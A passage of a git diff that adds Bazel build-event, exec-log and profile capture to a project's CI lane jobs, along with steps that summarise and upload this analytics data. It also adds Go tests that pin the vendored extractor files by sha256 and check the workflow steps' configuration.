+ timeout-minutes: 3 + env: + LANE: test + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-test-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -994,9 +1032,14 @@ jobs: RBE_FORK_PR: ${{ github.event.pull_request.number }} - name: Run js/wasm hook boundary + id: build-wasm run: | set -euo pipefail - bazel build --config=js-wasm //internal/hooks:hooks_test + bazel build --config=js-wasm //internal/hooks:hooks_test \ + --profile="$RUNNER_TEMP/bazel-profile-build-wasm.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-build-wasm.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-build-wasm.log.zst" \ + --experimental_build_event_upload_strategy=local bin="$(bazel cquery --config=js-wasm --output=files //internal/hooks:hooks_test)" cd internal/hooks @@ -1036,12 +1079,17 @@ jobs: fi - name: Build cmd/bd and pure-Go test binaries (--config=pure) + id: build-pure run: >- bazel build --config=pure //cmd/bd:bd //cmd/bd:bd_test //internal/storage/embeddeddolt:embeddeddolt_test //internal/tracker:tracker_test + --profile="$RUNNER_TEMP/bazel-profile-build-pure.json" + --build_event_json_file="$RUNNER_TEMP/bazel-bep-build-pure.json" + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-build-pure.log.zst" + --experimental_build_event_upload_strategy=local # Every release target (scripts/ci/release-targets.txt) on every PR, so # a platform-gating mistake is caught here instead of at tag time @@ -1063,28 +1111,81 @@ jobs: # starts in the next step. -test.run=^$ runs no test (TestMain still # runs; BEADS_TEST_SKIP=dolt keeps tracker's from starting a container). - name: Start every pure-Go artifact (gozstd contamination check) + id: test-pure run: | set -euo pipefail + # Not instrumented: no BEP/exec-log/profile is captured for this + # one-off smoke invocation (design's bazel-pure invocation list + # names build-wasm, build-pure, test-pure and test-bd only). bazel run --config=pure //cmd/bd:bd -- version bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ //internal/storage/embeddeddolt:embeddeddolt_test \ //internal/tracker:tracker_test \ --test_sharding_strategy=disabled \ '--test_arg=-test.run=^$' \ - --test_env=BEADS_TEST_SKIP=dolt + --test_env=BEADS_TEST_SKIP=dolt \ + --profile="$RUNNER_TEMP/bazel-profile-test-pure.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-test-pure.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-pure.log.zst" \ + --experimental_build_event_upload_strategy=local # One unsharded process, like `go test -run`; the test.xml check keeps a # selector that matches nothing from passing. - name: Run pure-Go cmd/bd test subset (--config=pure) + id: test-bd run: | set -euo pipefail bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} //cmd/bd:bd_test \ --test_sharding_strategy=disabled \ - "--test_arg=-test.run=$PURE_CMD_BD_TESTS" + "--test_arg=-test.run=$PURE_CMD_BD_TESTS" \ + --profile="$RUNNER_TEMP/bazel-profile-test-bd.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-test-bd.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-bd.log.zst" \ + --experimental_build_event_upload_strategy=local n="$(grep -c ' 0 )) + # A redacted, schema'd summary of this job's four BEP-tracked + # invocations (build-wasm, build-pure, test-pure, test-bd; `bazel run + # ... -- version` above is deliberately not tracked, see its comment). + # Same contract as bazel-test's step; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled()" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: pure + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + args=() + for step in build-wasm build-pure test-pure test-bd; do + bep="$RUNNER_TEMP/bazel-bep-$step.json" + [ -f "$bep" ] || continue + args+=(--invocation "$step" "$bep" "$RUNNER_TEMP/bazel-exec-$step.log.zst" "$RUNNER_TEMP/bazel-profile-$step.json") + done + [ "${#args[@]}" -gt 0 ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + "${args[@]}" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-pure-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1198,6 +1299,9 @@ jobs: rc=0 bazel test //... --config=embedded ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1239,6 +1343,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: embedded + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-embedded-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1341,6 +1476,9 @@ jobs: fi bazel test //... --config=integration ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" @@ -1366,6 +1504,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: integration + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-integration-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1431,7 +1600,12 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1447,6 +1621,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: doltserver + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-doltserver-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1562,6 +1767,9 @@ jobs: rc=0 bazel test //... --config=doltserver-proxied ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver-proxied: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1593,6 +1801,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: proxied-server + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-proxied-server-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1673,6 +1912,9 @@ jobs: rc=0 bazel test //... --config=doltserver-integration ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver-integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1715,6 +1957,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: server-storage + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-server-storage-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too. @@ -1797,6 +2070,9 @@ jobs: rc=0 bazel test //... --config=doltserver-cmd ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver-cmd: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1820,6 +2096,37 @@ jobs: if-no-files-found: ignore retention-days: 7 + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 3 + env: + LANE: cmd-dolt + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-cmd-dolt-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a # cancellation too; job.status is the steps' status, unaffected by the diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index cfaad6e93..c6c4caa81 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -28,6 +28,8 @@ go_test( "check_testing_short_test.go", "check_winget_portable_alias_test.go", "ci_actions_policy_test.go", + "ci_analytics_extract_test.go", + "ci_analytics_workflow_test.go", "ci_blacksmith_runner_test.go", "ci_capability_selector_test.go", "ci_f7b_review_test.go", diff --git a/scripts/ci_analytics_extract_test.go b/scripts/ci_analytics_extract_test.go new file mode 100644 index 000000000..db5fc463b --- /dev/null +++ b/scripts/ci_analytics_extract_test.go @@ -0,0 +1,150 @@ +package scripts_test + +import ( + "crypto/sha256" + "encoding/hex" + "io/fs" + "os" + "os/exec" + "path/filepath" + "sort" + "testing" +) + +// ciAnalyticsExtractScript and ciAnalyticsExtractUnitTest are a byte copy of +// gascity's tools/bazel/ci_analytics_extract.py and +// tools/bazel/ci_analytics_extract_test.py (ci/analytics-extractor, +// gascity commit 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac, the final +// squashed-to-one-commit history superseding 32d51ce26a and the original +// 9104311a8a after the S2 review found the first cut's real/*-bep.json +// fixtures leaked operator env: a token, SSH IPs, the OpenBao address, the +// hostname and home paths. The fixtures are generated under env -i and +// committed with the compact exec log decompressed (*.binpb), never a +// zstd frame, so nothing opaque reaches version control), the same way +// tools/rbe/cache-zstd-probe.sh is a byte copy. gascity is canonical for +// this pair; TestCIAnalyticsExtractorIsPinnedToGascity below pins both +// files' sha256 so a local edit here is caught instead of silently +// drifting out of lockstep. The vendored test file's own 62 cases (run in +// place by TestCIAnalyticsExtractUnitTests) now include the +// mismatched-invocation-id and truncated-BEP cases beads originally added +// (test_beads_mismatch_fixture_reports_mismatch, +// test_truncated_last_line_sets_bep_truncated), so no separate Go-side +// duplicate of either remains here. +func ciAnalyticsExtractScript(root string) string { + return filepath.Join(root, "tools", "bazel", "ci_analytics_extract.py") +} + +func ciAnalyticsExtractUnitTest(root string) string { + return filepath.Join(root, "tools", "bazel", "ci_analytics_extract_test.py") +} + +func ciAnalyticsTestdataDir(root string) string { + return filepath.Join(root, "tools", "bazel", "testdata", "ci_analytics") +} + +// ciAnalyticsExtractSHA256 and ciAnalyticsExtractUnitTestSHA256 pin the +// vendored files' content, computed from gascity's final sanitized, +// squashed-to-one-commit history at 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac. +const ( + ciAnalyticsExtractSHA256 = "6bb912b17faac59a12ec53f71fbfbedfecc503037b6f5954e878d108abaae44f" + ciAnalyticsExtractUnitTestSHA256 = "e833e1c961010cd02189afaef273a261a54ccabe916b03bae3115177378a405b" + // ciAnalyticsTestdataSHA256 pins testdata/ci_analytics/** as a whole + // (regen.sh, mismatch.bep.jsonl, poisoned-bep.json and real/*): a sha256 + // over every file's slash-joined relative path and bytes, each + // NUL-terminated, sorted by path (ciAnalyticsTreeSHA256 below) - + // computed the same way over gascity's 00161373bc tree and confirmed + // identical, so this one hash catches a dropped, renamed or + // individually-edited fixture that a single-file sha256 (the two + // above) can't. + ciAnalyticsTestdataSHA256 = "dc9ac595df095ef8fe1b965d0e2a8d0b0e5694c3122208891d27655bcc2285d5" +) + +// ciAnalyticsTreeSHA256 hashes every regular file under dir: each entry +// contributes its dir-relative, slash-joined path, a NUL, its bytes and a +// NUL, in path-sorted order, so the result depends on the exact set of +// files present (not just their union of bytes) and is independent of the +// OS's directory-walk order. +func ciAnalyticsTreeSHA256(t *testing.T, dir string) string { + t.Helper() + var paths []string + if err := filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() { + return nil + } + rel, err := filepath.Rel(dir, path) + if err != nil { + return err + } + paths = append(paths, filepath.ToSlash(rel)) + return nil + }); err != nil { + t.Fatalf("walking %s: %v", dir, err) + } + sort.Strings(paths) + + h := sha256.New() + for _, rel := range paths { + raw, err := os.ReadFile(filepath.Join(dir, filepath.FromSlash(rel))) + if err != nil { + t.Fatalf("reading %s: %v", rel, err) + } + h.Write([]byte(rel)) + h.Write([]byte{0}) + h.Write(raw) + h.Write([]byte{0}) + } + return hex.EncodeToString(h.Sum(nil)) +} + +// TestCIAnalyticsExtractorIsPinnedToGascity fails the moment either vendored +// file is edited locally without also updating the pin (and, ideally, +// upstreaming the change to gascity first): the design treats gascity as +// canonical for this pair, like cache-zstd-probe.sh. +func TestCIAnalyticsExtractorIsPinnedToGascity(t *testing.T) { + root := sourceRepoRoot(t) + for _, tc := range []struct { + path string + want string + }{ + {ciAnalyticsExtractScript(root), ciAnalyticsExtractSHA256}, + {ciAnalyticsExtractUnitTest(root), ciAnalyticsExtractUnitTestSHA256}, + } { + raw, err := os.ReadFile(tc.path) + if err != nil { + t.Fatalf("reading %s: %v", tc.path, err) + } + sum := sha256.Sum256(raw) + if got := hex.EncodeToString(sum[:]); got != tc.want { + t.Errorf("%s sha256 = %s, want %s (gascity ci/analytics-extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac): "+ + "either this file drifted from gascity's canonical copy, or gascity changed it "+ + "and this pin (and the vendored copy) needs updating to match", tc.path, got, tc.want) + } + } + + testdataDir := ciAnalyticsTestdataDir(root) + if got := ciAnalyticsTreeSHA256(t, testdataDir); got != ciAnalyticsTestdataSHA256 { + t.Errorf("%s tree sha256 = %s, want %s (gascity ci/analytics-extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac): "+ + "a fixture under testdata/ci_analytics/ was added, removed, renamed or edited without updating this pin", testdataDir, got, ciAnalyticsTestdataSHA256) + } +} + +// TestCIAnalyticsExtractUnitTests runs gascity's own 62 unittest cases +// in-place against the vendored extractor: the real Bazel 9.2.0 fixtures +// (testdata/ci_analytics/real/*, regenerated under env -i after the S2 +// leak), the synthetic remote/cache-hit exec log built by the test's own +// varint encoder, the poisoned/malformed BEP and exec-log robustness cases, +// and the ported mismatched-invocation-id and truncated-BEP cases. This is +// the "thin Go wrapper" around the vendored pair. +func TestCIAnalyticsExtractUnitTests(t *testing.T) { + root := sourceRepoRoot(t) + python := requireHostTool(t, "python3") + cmd := exec.Command(python, ciAnalyticsExtractUnitTest(root), "-v") + cmd.Dir = root + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("ci_analytics_extract_test.py failed: %v\n%s", err, out) + } +} diff --git a/scripts/ci_analytics_workflow_test.go b/scripts/ci_analytics_workflow_test.go new file mode 100644 index 000000000..d94a94c16 --- /dev/null +++ b/scripts/ci_analytics_workflow_test.go @@ -0,0 +1,282 @@ +package scripts_test + +import ( + "regexp" + "slices" + "strings" + "testing" +) + +// ciAnalyticsLaneJobs lists bazel.yml's lane jobs that carry the "CI +// analytics summary"/"Upload CI analytics summary" steps +// (rbe-ci-bep-analytics-design.md, S3), mapped to each job's LANE env +// value. The artifact name and the LANE env are both derived from this one +// map in the checks below, instead of being pinned independently and +// allowed to drift apart. +var ciAnalyticsLaneJobs = map[string]string{ + "bazel-test": "test", + "bazel-pure": "pure", + "bazel-embedded": "embedded", + "bazel-integration": "integration", + "bazel-doltserver": "doltserver", + "bazel-proxied": "proxied-server", + "bazel-server-storage": "server-storage", + "bazel-cmd-dolt": "cmd-dolt", +} + +// ciAnalyticsExcludedJobs are bazel.yml jobs that deliberately do not run +// the CI analytics extractor, with the reason: mirrors +// TestBazelLaneIsGatedAlongsideLegacy's gated/advisory/flag-gated split, so +// a new job in bazel.yml can't silently go unaccounted for here either. +var ciAnalyticsExcludedJobs = map[string]string{ + "rbe": "decides the execution mode; builds nothing itself, so there is no BEP/exec-log/profile to summarize", + "rbe-prewarm": "best-effort pre-warm dispatch to gascity's rbe-west pool; not a build/test lane", + "package-mcp": "F3 package gate; runs pytest, not a bazel invocation with a BEP to extract", + "package-npm": "F3 package gate; runs npm, not a bazel invocation with a BEP to extract", +} + +// ciAnalyticsRunTemplateRE finds a GitHub Actions expression (${{ ... }}) +// inside a `run:` block: ci_analytics_extract.py's arguments must come from +// $LANE/$MODE/$CHECK_RUN_ID/$PR_HINT shell variables (set in `env:`, which +// GitHub Actions substitutes before the shell ever sees them), never a raw +// ${{ }} expression spliced into the command line itself. +var ciAnalyticsRunTemplateRE = regexp.MustCompile(`\$\{\{`) + +// ciAnalyticsRunnerTempPathRE captures the basename (the part after +// $RUNNER_TEMP/) of any $RUNNER_TEMP-relative path a run: block mentions, +// including one built from a shell loop variable (e.g. bazel-bep-$step.json). +var ciAnalyticsRunnerTempPathRE = regexp.MustCompile(`\$RUNNER_TEMP/([\w.$-]+)`) + +// ciAnalyticsWriterFlagRE captures the $RUNNER_TEMP-relative basename +// written by one of the three bazel flags that produce a BEP file, a +// compact exec log or a JSON profile: the only three file kinds the +// summary step is allowed to read. +var ciAnalyticsWriterFlagRE = regexp.MustCompile(`--(?:build_event_json_file|execution_log_compact_file|profile)="?\$RUNNER_TEMP/([\w.$-]+)"?`) + +// ciAnalyticsForLoopRE matches a `for in ; do` line, so a +// basename built from the loop variable (bazel-bep-$step.json) can be +// expanded to every concrete value the loop actually iterates. +var ciAnalyticsForLoopRE = regexp.MustCompile(`for (\w+) in ([^;]+); do`) + +// ciAnalyticsFileBasenameRE keeps only basenames that name a real +// input file (.json or .log.zst): the summary step's own --out path +// ($RUNNER_TEMP/ci-analytics/ci-analytics.json) is not $RUNNER_TEMP-direct +// and never matches a writer flag, so it is dropped rather than +// misclassified as a bad reader reference. +var ciAnalyticsFileBasenameRE = regexp.MustCompile(`\.(json|log\.zst)$`) + +const ( + // The path/retention/cleanup contract of every "Upload CI analytics + // summary" step: the redacted summary ci_analytics_extract.py wrote, + // kept a week, replaced (not 409'd) by a job re-run, and silently + // skipped (not failed) if the summary step itself never ran. + ciAnalyticsUploadPath = "${{ runner.temp }}/ci-analytics/ci-analytics.json" + ciAnalyticsUploadRetentionDays = "7" + ciAnalyticsUploadIfNoFilesFound = "ignore" + ciAnalyticsUploadOverwrite = "true" + ciAnalyticsUploadTimeoutMinutes = 2 + ciAnalyticsSummaryMaxTimeout = 3 + // The real job context (requires actionlint >= 1.7.8), not a + // github.run_id substitution: the design's contract with S4. + ciAnalyticsCheckRunID = "${{ job.check_run_id }}" + ciAnalyticsMode = "${{ needs.rbe.outputs.mode }}" + ciAnalyticsPRHint = "${{ github.event.pull_request.number || 0 }}" +) + +func ciAnalyticsContinueOnError(v any) bool { + switch v := v.(type) { + case bool: + return v + case string: + return v == "true" + default: + return false + } +} + +// ciAnalyticsExpandBasenames expands every $ token in basenames +// using any `for in ...; do` loop found in run, returning the +// set of concrete basenames actually produced or consumed. A basename with +// no loop-variable token (the 7 lanes with a single literal BEP/exec-log/ +// profile set) expands to itself 